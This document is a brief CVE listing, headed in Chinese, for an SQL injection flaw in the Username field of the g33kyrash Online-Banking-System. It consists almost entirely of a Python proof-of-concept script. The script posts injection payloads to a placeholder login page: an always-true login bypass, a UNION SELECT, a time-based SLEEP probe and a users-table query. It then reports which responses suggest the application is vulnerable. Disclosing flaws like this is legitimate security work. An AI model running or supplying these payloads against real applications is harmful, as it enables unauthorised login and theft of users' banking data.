CVE-2025-13276 | g33kyrash Online-Banking-System Username参数SQL注入漏洞

import requests target_url = "http://target.com/index.php" payloads = [ "admin' OR '1'='1", "admin' UNION SELECT 1,2,3,4,5--", "admin' AND SLEEP(5)--", "admin' AND (SELECT COUNT(*) FROM users)>0--" ] for payload in payloads: data = { "Username": payload, "Password": "any" } try: response = requests.post(target_url, data=data, timeout=10) print(f"Payload: {payload}") print(f"Status: {response.status_code}") print(f"Response Length: {len(response.text)}") if "error" not in response.text.lower(): print("Potential vulnerability detected") print("-" * 50) except Exception as e: print(f"Error: {e}")